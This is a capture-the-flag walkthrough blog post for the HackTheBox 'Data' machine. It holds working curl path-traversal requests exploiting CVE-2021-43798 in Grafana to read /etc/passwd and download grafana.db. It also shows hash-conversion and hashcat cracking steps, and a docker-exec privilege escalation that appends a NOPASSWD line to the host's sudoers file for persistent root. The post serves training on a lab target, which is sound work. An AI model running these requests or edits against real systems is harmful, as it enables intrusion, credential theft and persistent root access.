close

DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Data Writeup

Summary

Data is a Linux box running Grafana 8.0.0 behind SSH and port 3000. The Grafana version is vulnerable to CVE-2021-43798, an authentication-free path traversal in the plugin static-file handler, which is used to read /etc/passwd, then Grafana's own defaults.ini to locate its SQLite database, and finally exfiltrate grafana.db itself. Cracking the password hashes inside the database (after converting them to a Hashcat-compatible format) recovers a user's SSH credentials. That user has a sudo rule allowing passwordless docker exec on any container, and the running Grafana container is mounted with access to the host filesystem at /, letting commands run as root inside the container reach and read the host's root flag directly — or, alternatively, modify the host's /etc/sudoers to grant full root access back out on the host.

  • Initial access: CVE-2021-43798 (Grafana path traversal) → leak defaults.ini → leak grafana.db → crack admin/boris password hashes → SSH as boris
  • Privilege escalation: Misconfigured sudo docker exec rule → root inside Grafana container → host filesystem mounted inside container → read root flag directly, or edit host /etc/sudoers for a persistent root shell

Walkthrough

1. Recon

nmap -A -Pn 10.129.234.47 -oA nmap
Enter fullscreen mode Exit fullscreen mode

Two open ports: SSH (22, OpenSSH 7.6p1 on Ubuntu 18.04) and Grafana on 3000. Added the hostname to /etc/hosts:

echo '10.129.234.47 data.vl' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Visiting http://data.vl:3000/login confirms a Grafana login page. The footer of the login page leaks the exact version, v8.0.0, which is a known information-disclosure issue (HackerOne report #1427086) and is directly useful here since it pins down the vulnerable version range.

curl http://data.vl:3000/robots.txt
Enter fullscreen mode Exit fullscreen mode
User-agent: *
Disallow: /
Enter fullscreen mode Exit fullscreen mode

2. CVE-2021-43798 - unauthenticated path traversal (HackerOne report #1427086)

Grafana 8.0.0 through 8.3.0 ships a plugin static-asset handler that doesn't sanitize ../ sequences in the request path, letting an unauthenticated request walk outside the plugin's intended directory and read arbitrary files readable by the grafana process. Confirmed with the classic /etc/passwd read:

curl http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Enter fullscreen mode Exit fullscreen mode
root:x:0:0:root:/root:/bin/ash
...
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
Enter fullscreen mode Exit fullscreen mode

The presence of /bin/ash and the grafana system user is also a strong hint that Grafana itself is running inside an Alpine-based container - relevant later for the privesc step.

Next pulled Grafana's own config file, defaults.ini, using the same traversal, to confirm internal paths rather than guessing them:

http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fshare%2Fgrafana%2Fconf%2Fdefaults.ini
Enter fullscreen mode Exit fullscreen mode

The [database] section confirms type = sqlite3 and path = grafana.db relative to the data path, which (per the [paths] section) resolves to /var/lib/grafana/grafana.db.

3. Exfiltrating and cracking the Grafana database

curl http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db --output grafana.db
file grafana.db
Enter fullscreen mode Exit fullscreen mode
grafana.db: SQLite 3.x database, ...
Enter fullscreen mode Exit fullscreen mode

Opened it directly with sqlite3 and inspected the schema before querying:

sqlite3 grafana.db
sqlite> .tables
Enter fullscreen mode Exit fullscreen mode
alert                       login_attempt
alert_configuration         migration_log
...
data_source                 user
...
Enter fullscreen mode Exit fullscreen mode
sqlite> .headers on
sqlite> select login,password,salt from user;
Enter fullscreen mode Exit fullscreen mode
login|password|salt
admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl
Enter fullscreen mode Exit fullscreen mode

Grafana hashes its passwords as PBKDF2-HMAC-SHA256 with a non-standard internal encoding, so they aren't directly crackable in this form. Used grafana2hashcat to convert the password,salt pairs into a hashcat-compatible PBKDF2 string (hash-mode 10900).

First saved the raw Grafana hashes in the tool's expected hash,salt format:

git clone https://github.com/iamaldi/grafana2hashcat
cd grafana2hashcat
cat > grafana.hash <<'EOF'
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl
EOF
Enter fullscreen mode Exit fullscreen mode

Then converted them:

python3 grafana2hashcat.py grafana.hash
Enter fullscreen mode Exit fullscreen mode
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
Enter fullscreen mode Exit fullscreen mode

Saved the converted output into a file in hashcat's expected format:

cat > crackable.hash <<'EOF'
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
EOF
Enter fullscreen mode Exit fullscreen mode

Cracked with rockyou:

hashcat crackable.hash /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
sha256:10000:TENCaGR0SldqbA==:...:beautiful1
Enter fullscreen mode Exit fullscreen mode

The boris hash cracks to beautiful1. The admin hash did not crack against rockyou — not needed, since boris has a real shell account on the host whereas admin is only a Grafana application-level account.

4. SSH access

ssh boris@data.vl
Enter fullscreen mode Exit fullscreen mode
boris@data:~$ cat user.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

5. Privilege escalation — sudo docker exec abuse

sudo -l
Enter fullscreen mode Exit fullscreen mode
User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *
Enter fullscreen mode Exit fullscreen mode

boris can run docker exec as root against any container, with no restriction on which command is executed inside it. Direct docker ps/docker images fail because boris isn't in the docker group and has no socket access outside of this specific sudo rule — but the sudo rule itself doesn't need group membership, since it invokes docker as root directly.

Found the running Grafana container's ID from the process list:

ps aux | grep docker
Enter fullscreen mode Exit fullscreen mode
containerd-shim-runc-v2 ... -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81
Enter fullscreen mode Exit fullscreen mode
sudo docker exec -it -u root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
Enter fullscreen mode Exit fullscreen mode
bash-5.1# whoami
root
Enter fullscreen mode Exit fullscreen mode

Now root inside the container. Checking mounts revealed the host's root filesystem mounted at /mnt inside the container (a deliberate or misconfigured bind mount exposing the host disk):

mount /dev/sda1 /mnt
ls -la /mnt/root/root.txt
Enter fullscreen mode Exit fullscreen mode
-rw-r-----    1 root     root            33 Jun 24 05:00 /mnt/root/root.txt
Enter fullscreen mode Exit fullscreen mode

Method A — direct read: since the container is running as root and the host filesystem is mounted and readable, the flag can simply be read in place:

cat /mnt/root/root.txt
Enter fullscreen mode Exit fullscreen mode

Method B — persistent host root (alternative used here): rather than just reading the flag once, edited the host's /etc/sudoers from inside the container, since /mnt is a live bind-mount of the host's actual root partition — any write here is a write to the real host disk:

echo 'boris ALL = (root) NOPASSWD: /bin/bash' >> /mnt/etc/sudoers
exit
Enter fullscreen mode Exit fullscreen mode

Back on the host as boris:

sudo -l
Enter fullscreen mode Exit fullscreen mode
(root) NOPASSWD: /snap/bin/docker exec *
(root) NOPASSWD: /bin/bash
Enter fullscreen mode Exit fullscreen mode
sudo bash
Enter fullscreen mode Exit fullscreen mode
root@data:~# cat /root/root.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

This second method is the more valuable one in a real engagement: it turns a single one-off container escape into a standing root foothold on the host that survives without needing to re-enter the container each time.


Attack Chain

Grafana v8.0.0 login page footer → version disclosure
        │
        ▼
CVE-2021-43798 path traversal (unauthenticated)
        │
        ▼
Read /etc/passwd → confirm grafana service user / Alpine container
        │
        ▼
Read defaults.ini → locate SQLite DB path
        │
        ▼
Exfiltrate grafana.db → dump user table (password + salt)
        │
        ▼
grafana2hashcat → PBKDF2-HMAC-SHA256 (hashcat mode 10900)
        │
        ▼
hashcat + rockyou → boris's password cracked
        │
        ▼
SSH as boris → user.txt
        │
        ▼
sudo docker exec (NOPASSWD, any container) → root inside Grafana container
        │
        ▼
Host root filesystem bind-mounted inside container (/dev/sda1 → /mnt)
        │
        ▼
Read root.txt directly, or write to /mnt/etc/sudoers for persistent host root
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Grafana version disclosure Login page footer Lets an attacker pin the exact vulnerable version without further probing
2 CVE-2021-43798 (Path Traversal) Grafana plugin static-asset handler, v8.0.0–8.3.0 Unauthenticated arbitrary file read as the grafana service user
3 SQLite credential store exposed via the same traversal /var/lib/grafana/grafana.db Full extraction of all Grafana user password hashes + salts
4 Weak user password boris account Hash crackable against rockyou in seconds
5 Overly broad sudo rule on docker exec /etc/sudoersboris Root access inside any running container, with no command restriction
6 Host root filesystem bind-mounted into container Grafana container's /dev/sda1 mount Container root effectively equals host root — read host files or modify host /etc/sudoers

Top comments (0)